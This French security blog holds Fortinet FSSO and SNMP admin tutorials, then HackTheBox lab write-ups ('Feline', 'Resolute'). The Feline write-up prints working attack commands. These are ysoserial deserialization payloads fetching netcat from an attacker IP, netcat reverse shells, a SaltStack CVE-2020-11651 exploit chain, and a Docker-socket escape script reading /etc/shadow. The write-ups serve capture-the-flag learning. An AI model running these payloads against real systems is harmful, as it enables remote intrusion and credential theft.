27 Mai

Fortigate, utiliser FSSO en mode Polling via WMI (1/2)

Introduction

FSSO ?

Fortinet Single Sign-On (FSSO), anciennement connu sous le nom de FortiGate Server Authentication Extension (FSAE), est le protocole d’authentification par lequel les utilisateurs peuvent s’authentifier de manière transparente auprès des appareils FortiGate (notamment).

Pourquoi utiliser ce mode et cette méthode ?

Après, contrairement au mode FSSO « DC Agent mode », le mode FSSO « Polling » évite l’installation d’un agent sur chacun des contrôleurs de domaine. Cela peut être problématique dans certaines organisations.

Ensuite, la récupération des événements de connexion des utilisateurs via WMI apporte d’autres avantages : plus de fiabilité dans la récupération des événements, une charge réseau réduite entre l’agent collecteur et les contrôleurs de domaine et enfin la possibilité d’utiliser un compte de service avec des droits restreints.

Comme on peut le voir sur le schéma ci-dessous, l’agent collecteur interroge directement les contrôleurs de domaine et le Fortigate récupère régulièrement les mises à jour :

Ce premier article sera consacré à l’installation et la configuration de l’agent FSSO sur un serveur Windows. Un second article permettra de voir son utilisation sur un Fortigate.

Permissions WMI sur les DC

Un des pré-requis pour pouvoir utiliser ce mode est d’appliquer certains droits au compte de service ou utilisateur qui sera utilisé par le service « Fortinet Single Sign On Agent Service ».

Pour cela, lancez la console « Windows Management Instrumentation » (WMI) sur chacun de vos contrôleurs de domaine concerné (wmimgmt.msc) :

  • Clic-droit sur « Contrôle WMI » puis « Propriétés »
  • Sélectionnez l’onglet « Sécurité » et étendre « Root »
  • Sélectionnez « CIMV2 » puis cliquez sur le bouton « Sécurité »
  • Ajoutez ensuite l’utilisateur / compte de service qui sera utilisé, ici « fsso_agent »
  • Puis donnez-lui les droits : « Appel à distance autorisé » et « Activer le compte »
  • Dans la même fenêtre, cliquez-sur « Avancé »
  • Sélectionnez l’utilisateur / compte de service dans l’onglet « Autorisations »
  • Cliquez sur « Editer » et appliquez les droits « Cet espace de noms et les sous-espaces de noms »
  • Enregistrez les changements en cliquant sur « OK »

Redémarrez ensuite le service WMI (services.msc) qui porte le nom « Windows Management Instrumentation », clic-droit puis « Redémarrer » :

Ouverture de flux réseaux à prévoir

Une matrice des flux sera faite plus tard, en attendant vous pouvez voir cet article de chez Fortinet :

https://docs.fortinet.com/document/fortigate/6.4.0/ports-and-protocols/879117/fsso-fortinet-single-sign-on

Installation et configuration de l’agent collecteur

Pré-requis pour l’installation et fonctionnement

Rendez-vous sur le site de Fortinet pour télécharger la version la plus récente de l’agent collecteur en fonction de votre version la plus récente du FortiOS installé (OS Fortigate). Par Ex. ici la version correspondante, ici 5.0.0276 (version 64 bits) compatible avec les Fortigate FortiOS 6.0.5 (même démarche pour les versions 6.2.x ou 6.4.x) :

A noter que la version de l’agent collecteur reste (rétro) compatible avec les anciennes versions de FortiOS (5.6, 5.4 etc…). Pensez à vérifier que le fichier téléchargé n’est pas corrompu en comparant les checksum :

Astuce : J’utilise l’extension http://code.kliu.org/hashcheck/ qui est bien pratique au quotidien pour cela. Sinon en PowerShell :

PS C:\Users\username\Downloads> Get-FileHash -Algorithm MD5 .\[filename]

Assurez-vous ensuite que votre serveur collecteur accepte les connexions entrantes sur le port TCP 8000, dans le cas contraire, ajoutez une règle de filtrage sur le firewall local et/ou sur tout autre firewall qui serait entre le Fortigate (source) et l’agent collecteur (destination).

Il vous faudra bien-sûr un serveur Windows, j’ai choisi la version 2016 dans ce cas-ci (ne faites pas attention aux captures d’écran + haut prises sur 2008/2012, c’est le même principe quelle que soit la version de l’OS).

Dernier point, vous devez bien-sûr disposer des droits d’administrateur pour l’installation de l’agent collecteur.

Installation

  • Lancez l’exécutable et cliquez sur « Next »
  • Acceptez les conditions d’utilisation puis cliquez sur « Next » deux fois (on garde le répertoire par défaut « C:\Program Files (x86)\Fortinet\FSAE\ »
  • Saisissez ensuite correctement l’utilisateur / compte de service qui lancera le service, ici « fsso_agent » :
  • Cliquez sur « Next »
  • Cochez les deux options et sélectionnez la méthode « Advanced » :

Contrairement au mode « Standard », ce mode permet d’utiliser directement les comptes utilisateurs AD au niveau des règles de filtrage du Fortigate, pas seulement les groupes donc. Cela apporte plus de souplesse et de finesse.

Il permet en outre d’appliquer une règle de filtrage sur une OU ou un groupe AD contenant des groupes imbriqués, cela ne se limite plus au groupe. Ce qui est impossible dans le mode « Standard ».

Enfin, on aura la possibilité de « pousser » les groupes que l’on souhaite filtrer/utiliser depuis le Fortigate vers l’agent collecteur.

  • Procédez à l’installation en cliquant sur « Install » et patientez
  • Enfin, décochez la case « Launch DC Agent Install Wizard » et cliquez sur « Finish » :

Nous voyons qu’un nouveau service a été créé :

Droits sur le répertoire d’installation

Nous devons maintenant attribuer les droits en lecture / écriture à notre utilisateur / compte de service afin, notamment, qu’il puisse écrire ses fichiers de logs.

  • Ouvrez l’explorateur de fichiers et faites un clic-droit sur le répertoire « C:\Program Files (x86)\Fortinet\FSAE », choisir « Propriétés »
  • Dans l’onglet « Sécurité », cliquez sur « Modifier » puis « Ajouter » afin d’ajouter l’utilisateur / compte de service
  • Attribuez-lui les droits « Contrôle total » en cliquant sur « Autoriser »
  • Puis « Appliquer » et « OK » deux fois :

Redémarrez ensuite le service « Fortinet Single Sign On Agent Service » pour que les changements soient pris en compte :

Une nouveau fichier de log fera son apparition :

Groupes AD et droits dans la base de registre

L’utilisateur / compte de service doit faire partie du groupe AD « Event Log Readers » :

Ensuite, ce dernier doit avoir les pleins droits sur les clés et sous-clés de registre de l’agent collecteur. Pour cela, lancer l’utilitaire « regedit.exe » et modifier celles-ci, choisir le chemin correspondant à votre système :

  • 32bit :[HKEY_LOCAL_MACHINE\SOFTWARE\Fortinet\FSAE\collectoragent]
  • 64bit :[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Fortinet\FSAE\collectoragent]

Vous devez ensuite donnez le contrôle d’accès total à l’utilisateur / compte de service via :

  • Clic-droit sur le répertoire « collectoragent » puis choisir « Autorisations »
  • Ajouter le utilisateur / compte de service via le bouton « Ajouter »
  • Le sélectionner et cocher « Autoriser » devant « Contrôle total »
  • Enregistrez les changements en cliquant sur « OK »
  • Redémarrer le serveur collecteur pour prendre en compte les changements

Configurer l’agent collecteur

Lancez l’agent collecteur « FSAEConfig.exe » et cliquez sur « Run as administrator » pour accéder à toutes les fonctions :

En premier lieu, définissez un nouveau mot de passe qui sera utilisé par le ou les Fortigate. Pour cela, supprimez le contenu du champ « Password », insérer votre mot de passe et cliquez sur « Apply ». Pour chaque changement enregistré, une petite fenêtre s’ouvrira :

Note : en cas de problème lors de vos premiers tests, sachez que le mot de passe par défaut est « fortinetcanada ».

Ensuite, il est préférable d’avoir un fichier log pour les événements (connexions/déconnexions/mises à jours) utilisateurs, c’est plus facile pour le débogage. Pour cela, cliquez sur « Log logon events in separate logs » et cliquez sur « Apply » :

Aussitôt, un nouveau fichier de log sera créé dans le répertoire FSAE contenant toutes les logs :

Il vous suffira ensuite de cliquer sur « View Logon Events » pour ouvrir ce fichier et le visualiser.

Configurer les Event ID à récupérer

Nous devons indiquer à l’agent collecteur tous les Event ID que nous voulons « sonder » car par défaut, il ne prend pas en charge toutes les versions d’OS Windows, il en filtre pas mal.

  • Cliquez sur « Advanced Settings et dans le champ « Event IDs to poll » (section « Windows Security Event Logs ») indiquez cette liste :

672;673;680;528;540;4768;4769;4776;4624;4770

Ainsi, toutes les versions de Windows depuis 2003 jusqu’à 2016 fonctionneront (je n’ai pas testé avec 2019) :

Assurez d’avoir également la case « Use WMI to check user logoff » de cochée dans la section « Workstation Check ». L’agent collecteur interrogera régulièrement les PC afin de vérifier si l’utilisateur est toujours connecté ou non (un batch sera lancé toutes les 5 minutes, comme indiqué sur l’écran principal).

Sélectionner les DC à « monitorer »

  • Cliquez sur « Show Monitored DCs »
  • Puis sur « Select DC to Monitor »
  • Cochez la case « Polling Mode »
  • Puis la case « Check Windows Security Event Logs using WMI » (c’est là que l’on active concrètement le mode WMI)
  • Enfin, sélectionnez les DC que vous souhaitez interroger puis « OK »

Si tout fonctionne correctement, vous devriez de suite pouvoir visualiser et récupérer les premières connexions utilisateurs en cliquant sur « Show Logon Users » :

Dans le cas contraire, vérifiez à nouveau les permissions WMI sur les DC, les droits de l’utilisateur / compte de service et groupe AD.

Configurer les informations d’accès au répertoire

Nous allons configurer le mode « Advanced » pour l’accès au données qui permet plus de choses comme indiqué un peu plus haut lors de la phase d’installation.

A noter que dans ce mode, le nom des groupes sera au format LDAP (cn=group,ou=name,dc=domaine) et non Microsoft (domaine/groupe).

  • Cliquez sur « Set Directory Access Information »
  • Sélectionnez « Advanced » (doit l’être par défaut)
  • Puis cliquez sur « Advanced Setting… »
  • Cochez « Use secure connection (TLS) »
  • Puis renseignez l’un de vos DC en laissant les champs « User name » et « Password » vident puis « OK »

Assurez que les flux sont bien ouverts au passage entre l’agent collecteur et vos contrôleurs de domaine sur le port TCP 3269.

Configurer le(s) domaine(s) à sonder

Sélectionner maintenant le ou les domaines que vous voulez « monitorer ».

  • Cliquez sur « Select Domains To Monitor »
  • Puis cochez les domaines à sonder
  • Pour chacun des domaines, cliquez sur « Setting… »
  • Cochez « Use secure connection (TLS) »
  • Là renseignez à nouveau l’un de vos DC en laissant les champs « User name » et « Password » vident puis « OK » et « OK »

Là aussi, assurez que les flux sont bien ouverts au passage entre l’agent collecteur et vos contrôleurs de domaine sur le port TCP 636

Filtrage des groupes

Nous avons deux possibilités pour la configuration des groupes FSSO (basés sur ceux de l’AD) :

  • Soit depuis ce serveur directement pour les pousser ensuite vers le Fortigate
  • Soit les créer directement sur le Fortigate pour qu’ils soient visibles sur le serveur

J’utilise la seconde méthode, que nous verrons dans le prochain article.

Une fois les groupes configurés vous verrez ce message sur le serveur dans « Set Group Filters » :

Compte(s) utilisateur/de service à ignorer

Une dernière option permet d’exclure une liste de comptes à ne pas surveiller, comme par exemple notre compte de service « fsso_agent ».

Il suffit de cliquer sur « Set Ignore User List » puis d’ajouter les comptes, comme ici avec notre compte de service :

Une fois terminé, ne pas oublier d’appliquer les changements (Apply) et/ou de sauvegarder (Save&close).

Conclusion

Nous avons vu dans cette première partie comment configurer notre serveur avec notre agent FSSO afin de récupérer les activités des utilisateurs (logon/logoff) sur notre DC de manière fiable.

Dans un prochain article nous verrons comment configurer notre Fortigate :

  • Pour se connecter à ce serveur afin de récupérer ses données
  • La création des groupes FSSO (et/ou utilisateurs)
  • L’utilisation de ces groupes dans nos règles de filtrage
  • Et quelques commandes et astuces pour le débogage
07 Jan

Calculer la bande passante consommée des interfaces réseaux d’un Fortigate

Introduction

Je cherchais le moyen d’obtenir à intervalles réguliers la bande passante consommée (en entrée et sortie) de chacune de mes interfaces réseaux, notamment celles « virtuelles », à savoir des VPN (IPSec), sur mes firewalls.

Pour une architecture réseau en étoile (Hub and spoke en anglais) le plus simple est bien-sûr d’interroger l’équipement central qui s’interconnecte avec chacun des sites distants. Ce qui était mon cas.

L’objectif étant au final d’obtenir un fichier source avec toutes les valeurs me permettant ainsi d’alimenter un script pour ensuite générer une carte d’utilisation de bande passante (network weathermap en anglais) rafraîchie toutes les 5 secondes. Comme ci-dessous :

Script Bash

Explications

Vous trouverez plus bas le script Bash que j’ai utilisé pour récupérer les données via SNMP et les traiter. Comme les compteurs des interfaces réseaux s’incrémentent sans cesse, l’idée est de prendre les valeurs à l’instant T puis de les reprendre à l’instant T + 5 secondes.

Puis par un simple calcul on obtient la bande passante consommée en entrée et sortie. Enfin, en appelant régulièrement le script (crontab ou boucle), vous obtiendrez différentes valeurs qui pourraient alimenter d’autres scripts comme PHP Weathermap par exemple, que j’utilise.

Pensez à mettre les bons paramètres (variables) avant de lancer le script :

  • host = hostname/IPv4 de votre firewall
  • community = nom de la communauté SNMPv2

Bien-sûr, au préalable vous devez configurer SNMPv2 sur votre firewall (https://kb.fortinet.com/kb/documentLink.do?externalID=FD45755) et donner les droits en lecture (uniquement) au serveur qui l’interrogera.

J’utilise SNMPv2 dans mon cas car les données récupérées ne sont pas sensibles et il suffit de bien configurer les droits.

J’utilise la MIB standard (ISO/CCITT) pour interroger le firewall, ce qui est le cas avec beaucoup de fournisseurs/marques avec laquelle ils sont compatibles.

Par contre, il était important de prendre les compteurs 64 bits (ifHCInOctets/ifHCOutOctets) et non 32 bits (ifInOctets/ifOutOctets), au risque de voir le compteur repartir à zéro rapidement, surtout si vous avez de gros liens/débits.

En sortie vous aurez ce type d’affichage :

VPN-XXX-C-WS-3G 0 2
VPN-XXX-E-WS-3G 0 2
VPN-XXX-C-ES-OR 1637 1360
VPN-XXX-E-ES-OR 1391 370
VPN-XXX-C-ES-O3 0 6
VPN-XXX-E-ES-O3 0 2
VPN-XXX-C-OU-OR 2047 480
VPN-XXX-E-OU-OR 408 3164
VPN-XXX-C-OU-O3 14 434

Pour finir, vous aurez juste à retirer le nom de fichier « bandwidth.txt » de la ligne 62 pour le générer et le conserver sur disque pour l’intégrer avec un autre script si besoin.

Code source

Voici le script en question, suffisamment commenté je pense :

Sinon, vous pouvez le télécharger ci-dessous :

Conclusion

Voilà, j’espère que ce sera utile à certains d’entre vous. A noter que ce script Bash devrait pouvoir fonctionner tel quel avec d’autres équipements que les Fortigate.

Pour d’autres types de réseaux ou besoins, on pourrait très bien imaginer avoir une liste de firewall en entrée qui serait parcouru et ainsi chacun serait interrogé avec ce script en parallèle pour gagner du temps. Je ferai un article là dessus aussi je pense.

Dernière chose, pour ceux qui s’interrogent sur la mise en forme du code dans l’article, j’ai utilisé l’excellent site : https://carbon.now.sh/

03 Sep

HTB – Feline- Write-up

Préambule

Pour cette nouvelle machine virtuelle j’ai utilisé l’interface web Pwnbox du site HackTheBox qui est basée sur la distribution Parrot Security, elle-même basée sur Debian :

Cette fonctionnalité est uniquement accessible aux utilisateurs du plan « VIP ». Elle est très pratique et bien pensée : choix de la localisation du serveur, fonctionne avec un simple navigateur et/ou accès SSH, accès spectateur…etc

Seul hic : on à le droit à seulement 24H par mois… et cela file vite !!

Mais avec le nouveau plan VIP+, plus de limite !

J’ai également utilisé pour l’occasion l’un de mes scripts spécifiquement adapté pour celle-ci afin d’améliorer le temps de reconnaissance initiale :

https://github.com/choupit0/MassVulScan4HTB

Moins de 5 minutes pour installer le script et scanner les 131070 ports TCP+UDP et identifier les éventuelles vulnérabilités associées, auto-promotion 😉

Ce pas à pas sera « un peu » plus long et détaillé que les derniers.

Introduction

Cette fois on s’attaque à une machine virtuelle de niveau « Hard » mais qui n’est pas insurmontable. Elle permet, là encore, de s’attaquer à de récentes vulnérabilités découvertes, et permet d’aborder différents aspects côté réseau, système et applicatif. Très complète et intéressante dans le cheminement.

Voici les grandes phases et technologies abordées :

  1. Identification du CVE concernant Apache Tomcat
  2. Exploitation par désérialisation d’objets
  3. Identification d’un second CVE pour SaltStack (gestion de configuration)
  4. Exploitation par « authentication bypass » via redirection de port SSH
  5. Elévation des privilèges via un container Docker

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.205
  • Nom de la VM = feline.htb

On met à jour notre fichier /etc/hosts avec ces informations :

sudo vi /etc/hosts
127.0.1.1 htb-qdiohu4t2o.htb-cloud.com htb-qdiohu4t2o
127.0.0.1 localhost
10.10.10.205 feline.htb

Phase de reconnaissance

J’installe et je lance mon script MassVulScan4HTB.sh :

Seulement deux services ouverts : SSH et HTTP avec 9 potentielles failles identifiées pour le dernier :

Avant d’explorer les différentes failles à la recherche d’un RCE, voyons à quoi ressemble la page web. Nous avons deux sites dédiés à l’analyse de virus :

http://feline.htb:8080/
http://feline.htb:8080/service/

Phase d’énumération 1/3

Le champ email semble accepter n’importe quoi (email ou pas), par contre tous les formats de fichiers ne semblent pas supportés. Ici à gauche une image PNG bloquée et à droite un script Perl qui passe :

Nous allons regarder un peu plus en détails les requêtes avec Burp Suite. Il suffit de lancer l’application et de paramétrer Firefox pour pointer dessus.

Nous allons intercepter une requête qui fonctionne (fichier autorisé) et l’analyser (« Intercept On » puis « Action » -> « Send to Repeater ») :

Maintenant, que se passe-t-il si on supprime le nom du fichier par exemple (filename= » » puis « Send ») ? Réponse :

On récupère une erreur Java intéressante. En effet, on a le chemin complet où les fichiers sont téléversés : /opt/samples/uploads

Avec un fichier interdit (PNG), on obtient autre erreur Java et un autre chemin :

Chemin récupéré mais avec un « Permission denied », rien d’intéressant :

/opt/tomcat/temp/upload_2d083729_5e12_41c0_97d6_4753f5ec1b1a_00000066.tmp

Je note juste que si on essaye de renvoyer à nouveau le fichier on voit que le nom de fichier s’incrémente de 1 à chaque fois :

/opt/tomcat/temp/upload_2d083729_5e12_41c0_97d6_4753f5ec1b1a_00000067.tmp

Je ne trouve rien de probant à ce stade, et je ne trouve rien de plus avec wfuzz ou dirsearch au niveau des répertoires et fichiers. Pas d’injection type SQL non plus.

Je prends donc le temps de regarder les vulnérabilités identifiées plus tôt et l’une d’elle semble intéressante. Elle appropriée à la situation et à la version d’Apache Tomcat : https://vulners.com/cve/CVE-2020-9484

L’une des références citée concerne celle de l’auteur : http://packetstormsecurity.com/files/157924/Apache-Tomcat-CVE-2020-9484-Proof-Of-Concept.html

Nous avons plus de détails sur son site qui confirme la présence d’un RCE : https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/

Globalement, si le serveur est configuré avec les modes « PersistentManager » et « FileStore« , les sessions permutées/inactives sont enregistrées sur disque. Dans ce cas, la faille est exploitable.

Pour vérifier si nous sommes concernés par cette vulnérabilité, nous avons besoin de 3 choses principales :

  1. Pouvoir générer un objet sérialisé :
  2. Pouvoir envoyer le fichier sur le serveur :
    • Nous l’avons avec le site /service
  3. Connaître l’emplacement des fichiers envoyés :
    • Nous le connaissons /opt/samples/uploads

C’est lors de la phase de désérialisation que le code malvaillant est executé même si nous obtenons une erreur HTTP 500 par la suite (pas de session correspondante).

Pour plus de détails sur la sérialisation/désérialisation d’objets et son exploitation, je vous conseille ce PDF (anglais) : https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf

Sinon, en gros, la sérialisation consiste à transformer des données informatiques en informations plus petites pour être transmises par le réseau. La désérialisation effectue la démarche inverse afin de retrouver les données initiales, à l’identique.

Phase d’exploitation 1/3 (Apache Tomcat)

Installer et utiliser ysoserial

Etapes à suivre pour l’installation de yoserial :

git clone https://github.com/frohoff/ysoserial
cd ysoserial/
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

On génère ensuite notre payload (objet sérialisé) comme ceci avec le payload le plus « commun », le numéro 2 (le 1 n’a pas fonctionné) et avec l’extension « .session » :

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "wget http://10.10.14.50:8888/fakefile" > rce.session

Dans un shell je lance un serveur HTTP en écoute sur port 8888 :

python -m SimpleHTTPServer 8888

Pour appeler notre code nous devrons utiliser http://feline.htb et modifier le cookie « JSESSIONID » comme suit (comme indiqué dans l’article) sans l’extension :

JSESSIONID=../../../../../opt/samples/uploads/rce

Le reste en vidéo de démonstration :

Ca fonctionne ! On a bien une connexion sur notre instance depuis le serveur :

Reverse shell via Apache Tomcat

Maintenant que nous avons un PoC fonctionnel, nous allons pouvoir obtenir un shell inversé. Nous procéderons en trois étapes :

  1. Téléverser l’outil netcat sur le serveur
  2. Le rendre executable
  3. Lancer un shell inversé

Je procède ainsi car je n’ai pas réussi à obtenir un shell directement avec les commandes traditionnelles (https://gtfobins.github.io/#+reverse%20shell).

Mes trois payloads générés :

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "wget http://10.10.14.50:8888/netcat -O /tmp/netcat" > step1.session
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "chmod +x /tmp/netcat" > step2.session
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "/tmp/netcat -e /bin/sh 10.10.14.50 1337" > step3.session

Pour netcat, j’utilise la version présente sur l’OS et je lance mon serveur HTTP :

which netcat
/usr/bin/netcat
cp /usr/bin/netcat .
python -m SimpleHTTPServer 8888

Dans un autre Terminal je lance un listener :

nc -nlvp 1337

On transfère nos 3 fichiers de la même manière que pour PoC et on obtient enfin un (premier) shell inversé depuis le serveur :

On élève notre simple shell inversé vers un shell interactif complet :

python3 -c 'import pty; pty.spawn("/bin/bash")'

Et nous trouvons le flag utilisateur :

Phase d’énumération 2/3

Rapidement je regarde côté réseau ce que l’on a et je vois deux ports intéressants en écoute, TCP 4505 et 4506 :

netstat -laputen | grep -i listen

Une rapide recherche sur Internet nous indique qu’il s’agit d’un gestionnaire de configuration nommé SaltStack, comme Puppet.

On découvre également qu’il existe une faille de sécurité de type « authentication bypass », CVE-2020-11651 : https://www.immersivelabs.com/resources/blog/hackers-are-currently-attacking-vulnerable-saltstack-systems/

Ne sachant pas si cette version est vulnérable ou pas, je décide de tester le PoC indiqué dans l’article : https://github.com/kevthehermit/CVE-2020-11651

Phase d’exploitation 2/3 (SaltStack)

SSH reverse remote port forwarding

L’application n’est pas exposée sur tous ses interfaces réseaux, elle n’est accessible que localement, par la loopback.

Je décide de télécharger le PoC sur le serveur et de le tester… mais ce serait trop facile ! Python3.8 est bien présent mais il manque des packages… et bien-sûr aucun droit pour les installer.

Plutôt que de perdre mon temps à chercher un moyen d’installer ce qu’il manque, je prends le choix d’exposer ce port à travers une connexion SSH :

ssh htb-choupit0@10.10.14.50 -R 127.0.0.1:4506:127.0.0.1:4506 -N

Nous aurions pu également utiliser Metasploit pour cela mais c’était un peu plus contraigant à faire (mais plus securisé).

PoC pour CVE-2020-*****

Maintenant nous pouvons donc utiliser notre script Python ditectement depuis notre instance Pwnbox, on voit ici la connexion SSH établie et le nouveau port 4506 en écoute :

Malheureusement pour nous, cela ne fonctionne pas… erreur « UnboundLocalError: local variable ‘root_key’ referenced before assignment« .

git clone https://github.com/kevthehermit/CVE-2020-11651
cd CVE-2020-11651
python3 -m pip install pyzmq
python3.8 poc.py -k 127.0.0.1

Reverse shell via SaltStak

Je n’abandonne pas et après quelques recherches, je trouve un autre PoC qui lui fonctionne : https://github.com/jasperla/CVE-2020-11651-poc/

git clone https://github.com/jasperla/CVE-2020-11651-poc
cd CVE-2020-11651-poc
pip3 install salt
python3.8 exploit.py
[+] Checking if vulnerable to CVE-2020-11651YES

Cool ! Il ne reste plus qu’à lancer notre second Reverse Shell avec une seule ligne de commande + un listener dans un autre Terminal :

python3.8 exploit.py --master localhost --exec "wget http://10.10.14.50:8888/netcat -O /tmp/netcat; chmod +x /tmp/netcat; /tmp/netcat -e /bin/sh 10.10.14.50 1338"
nc -nlvp 1338

Phase d’énumération 3/3

Docker Inside

On découvre donc que nous sommes root… mais d’un container, c’est déjà ca ! En regardant les dernières commandes tapées dans le fichier « .bash_history« , on découvre cette ligne de commande :

curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

Cela indique que la machine qui héberge ce container communique par le bias de ce socket avec ce dernier. On vérifie qu’il est bien actif, c’est bien le cas :

ls -l /var/run/docker.sock

C’est un vecteur d’attaque, car depuis notre container nous pouvons également accéder aux données de l’hôte…

Ces articles en parle bien :

https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html

http://carnal0wnage.attackresearch.com/2019/02/abusing-docker-api-socket.html

Nous pouvons déjà obtenir la liste des container présents sur le serveur, il semble y en avoir 2 :

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

Phase d’exploitation 3/3 (Docker)

Comme PoC nous allons donc tenter de créer un nouveau container afin d’accéder au fichier des mots de passe sur l’hôte en root. Voici les étapes nécessaires :

  1. Créer un fichier JSON pour le container
  2. Créer notre container avec ce fichier
  3. Démarrer notre container
  4. Créer un fichier JSON pour l’execution de lecture
  5. Lancer l’execution de la commande

Nous allons utiliser un script Bash (docker_exploit.sh) pour que cela soit plus simple, voici son contenu :

#!/bin/bash
#
# Nouveau container avec un montage du systeme de fichiers hote
#
echo -e '{"Image":"sandbox", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' > container.json
# Creation du container
new_container=$(curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create | cut -d'"' -f4)
# On demarre le container
curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/${new_container}/start
sleep 2
#
# Lecture d'un fichier de l'hote
#
echo -e '{"AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}' > read.json
# Creation de l'exec
read_file=$(curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat read.json)" http://localhost/containers/${new_container}/exec | cut -d'"' -f4)
# Affichage du resultat
curl -s -o - -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{}' http://localhost/exec/${read_file}/start
rm -rf container.json read.json

Il suffit ensuite de l’envoyer sur le serveur et l’executer :

python -m SimpleHTTPServer 8888 (instance Pwnbox)
cd /tmp
wget http://10.10.14.50:8888/docker_exploit.sh
chmod +x docker_exploit.sh
./docker_exploit.sh

Ca fonctionne !!!

Il ne reste plus qu’à modifier notre script pour récupérer le flag root :

Conclusion

Jusqu’à présent c’est ma VM favorite sous Linux, on y apprend beaucoup de choses. Elle est très complète : technologies variées tout comme les failles exploitées, on touche au système, réseau et applicatif.

C’est pour ces raisons que j’ai pris du plaisir et du temps pour détailler ce write-up, j’espère que vous aussi !

01 Sep

HTB – Astuces

Quelques informations/astuces glanées sur hackthebox.eu et forum.hackthebox.eu.

Badge pour le forum

Voici l’astuce pour mettre son badge en signature lorsque l’on commente sur le forum et surtout avec un lien vers le profil associé.

Pour une équipe :

[![Fr0Ggi3sOnTour](https://www.hackthebox.eu/badge/team/image/2959)](https://www.hackthebox.eu/home/teams/profile/2959)
On recrute ! 👽 We are hiring!

Pour un utilisateur :

[![choupit0](http://www.hackthebox.eu/badge/image/144352)](https://www.hackthebox.eu/home/users/profile/144352)

23 Avr

HTB – Resolute – Write-up

Introduction

Une machine virtuelle sympathique pour améliorer ses connaissances durant les phases d’énumération sous Windows. La partie exploitation est également très intéressante et nous montre de nouvelles techniques.

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.169
  • Nom de la VM = resolute.htb (par défaut chez HTB)

J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés.

Phase de reconnaissance

J’effectue un scan (TCP) complet de la machine virtuelle de cette manière :

nmap -A -T4 -sV -p1-65535 -Pn -n --stats-every 10 resolute.htb --min-rate 100 -oN nmap-resolute-complete.txt

Cela permet d’identifier tous les ports ouverts avec leurs services respectifs et c’est suffisamment rapide.

Voici la totalité des 24 ports (TCP) ouverts :

53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-21 21:13:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
51658/tcp open unknown

Je ne fais pas de scan des ports UDP.

Phase d’énumération 1/2

D’après les ports ouverts nous voyons qu’il s’agit un contrôleur de domaine. Nous allons tenter de chercher des utilisateurs du domaine MEGABANK.

Pour ce type de serveur, je mets systématiquement deux fichiers à jour : /etc/hosts et /etc/resolv.conf + un nptdate avec le serveur cela peut être utile si on doit jouer avec Kerberos. Et on valide également que le port UDP 123 est aussi ouvert :

root@HTB:~/HTB/Resolute# grep -iE '(megabank|10\.10\.10\.169)' /etc/hosts
10.10.10.169 resolute.htb MEGABANK.LOCAL
root@HTB:~/HTB/Resolute# grep -iE '(megabank|10\.10\.10\.169)' /etc/resolv.conf
search MEGABANK.LOCAL
nameserver 10.10.10.169
root@HTB:~/HTB/Resolute# ntpdate resolute.htb
22 Apr 16:57:56 ntpdate[42105]: step time server 10.10.10.169 offset +616.300705 sec

Nous pouvons interroger le service MS-RPC de Windows à travers Samba/RPC et une Null session avec enum4linux, on récupère une liste de 27 utilisateurs :

abigail Name: (null) Desc: (null)
Administrator Name: (null) Desc: Built-in account for administering the computer/domain
angela Name: (null) Desc: (null)
annette Name: (null) Desc: (null)
annika Name: (null) Desc: (null)
claire Name: (null) Desc: (null)
claude Name: (null) Desc: (null)
DefaultAccount Name: (null) Desc: A user account managed by the system.
felicia Name: (null) Desc: (null)
fred Name: (null) Desc: (null)
Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
gustavo Name: (null) Desc: (null)
krbtgt Name: (null) Desc: Key Distribution Center Service Account
marcus Name: (null) Desc: (null)
marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
melanie Name: (null) Desc: (null)
naoki Name: (null) Desc: (null)
paulo Name: (null) Desc: (null)
